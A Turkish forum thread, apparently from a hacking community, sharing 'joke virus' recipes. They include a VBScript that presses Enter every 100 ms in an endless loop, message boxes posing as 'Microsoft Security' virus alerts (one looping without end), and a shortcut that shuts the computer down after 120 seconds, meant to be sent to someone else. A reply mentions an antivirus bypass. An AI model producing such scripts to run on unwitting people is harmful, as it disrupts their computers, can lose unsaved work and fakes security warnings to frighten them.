Bir şaka virüsü de benden

Açıkcası yabancı bir siteden aldım . Ve ingilizcem yetmedi , çeviriden denedim o da tabii her zaman ki gibi düzgün çeviremedi. Fakat ben açtığımda "Euro truck simulator 2" 4-5 kere açıldı yönetici olarak çalıştırdığı içinde sinirlenmedim değil.

**Şimdi her zaman ki gibi not defterini açın
Kod:
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop

**Bu kodu not defterine yapıştırın
**Farklı kaydetten sonunu .vbs yapın
**Ve masaüstüne kaydedin.
** Ve çalıştırın
** Kapatmak için :Görev yöneticisi > İşlemler "Wscript.exe" bu işlemi sonlandırın.

AL BİTANEDE BENDEN
Msgbox "Bilgisayarınızda Virüs Vardır"
Not defteri içine kodlarımızı ekledikden sonra farklı kaydet seçeneğini kullanarak önce dosyaya verecek olduğunuz ismi yazın ve sonra .vbs formatında kaydediyoruz daha sonra masaüstünde bir dosya oluşmuş olacakdır.Örnek görüntüsü alttaki resimdeki gibi oluyor...


İkinci şakamız ise kodlar içinde değişiklik yaparak uygulayacağız.
Kullanacak olduğumuz kodlar şunlardır;
Msgbox "Bilgisayarınızda Virüs Vardır" , vbinformation
Tekrar bir not defteri açıyoruz ve üsteki kodları içine ekleyip Farklı kaydet seçeneğinden dosyamıza isim vererek .vbs uzantılı olarak kaydediyoruz.Örneğin dosya ismini oyun olarak yazdıysanız oyun.vbs

Üçüncü şakamız;
Kodları not defterine ekleyerek sonra farklı kaydet seçeneğinden .vbs dosya uzantılı olarak kaydediyoruz.
Msgbox "Bilgisayarınızda Virüs Vardır" , vbExclamation , "Microsoft

Security"


Dördüncü şakamız;
Tekrar not defteri aıyoruz içine alttaki kodları ekleyerek farklı kaydet seçeneğinden .vbs uzantılı olarak kaydedin.
Msgbox "Bilgisayarınızda Virüs Vardır" , vbCritical , "Microsoft Security"


Beşinci şakamız;
Yine not defteri açarak aşağıdaki kodları iine ekleyip Farklı Kaydet seçeneğinden .vbs uzantılı olarak kaydediyoruz.
do
Msgbox "Bilgisayarınızda Virüs Vardır" , vbCritical , "Microsoft Security"
loop
Yalnız buna tıklayarak açan kapatamıcakdır dosyayı.Görev yöneticisinden işlemleri seçiyoruz ve en sonda mscript.exe dosyasını bulup görevi sonlandırarak acılan dosyayı kapatabilir.



Altıncı şakamız;
Bunda not defteri yerine Kısa yol oluşturuyoruz.
Mause sağ tıklayarak Kısayol Oluştur seçeneğine tıklıyoruz açılan kısa yol içine alttaki kodları ekleyin ve kaydedin.
shutdown -s -t 120 -c "Bilgisayarınız Virüs Tarafından Kapatılacaktır"
Bunu gönderdiğiniz kişi dosyayı açtığında 120 saniye içinde otomatikmen bilgisayarı kapanacakdır.Bunu iptal etmek için Başlat tıklıyoruz ve cmd yazıyoruz shutdown -a yazarak enterliyoruz. -

ahahah milletle dalga geçeriz visual basicten daha iyi yapılıyor ama

en iyisi bende start up özellikli avira bypass


http://www.turkhackteam.org/off-topic/1396792-basit-vb6-projesi.html

Deneyeceğim.

sağol bu arada

ha bu arada ne işe yarıyor ?